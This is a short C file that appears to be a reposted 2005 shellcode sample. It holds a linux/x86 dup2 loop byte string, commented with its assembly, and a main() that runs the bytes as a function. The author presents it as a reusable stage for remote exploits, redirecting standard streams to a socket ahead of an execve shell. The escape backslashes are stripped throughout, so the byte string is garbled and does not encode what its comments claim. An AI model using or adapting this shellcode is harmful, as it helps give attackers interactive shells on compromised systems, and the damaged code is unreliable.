/* dup2_loop-core.c by Charles Stevenson <core@bokeoa.com> 
 *
 * I made this as a chunk you can paste in to make modular remote
 * exploits.  I usually combine this with an execve as the second
 * stage of a read() jmp *%esp
 */
char hellcode[] = /* dup2(0,0); dup2(0,1); dup2(0,2); linux/x86 by core */
"x31xc9"               	// xor    %ecx,%ecx
"x56"                   	// push   %esi
"x5b"                   	// pop    %ebx
// loop:
"x6ax3f"               	// push   $0x3f
"x58"                   	// pop    %eax
"xcdx80"               	// int    $0x80
"x41"                   	// inc    %ecx
"x80xf9x03"           	// cmp    $0x3,%cl
"x75xf5"               	// jne    80483e8 <loop>
;

int main(void)
{
  void (*shell)() = (void *)&hellcode;
  printf("%d byte dup2(0,0); dup2(0,1); dup2(0,2); linux/x86 by coren",
         strlen(hellcode));
  shell();
  return 0;
}

// www.Syue.com [2005-11-09]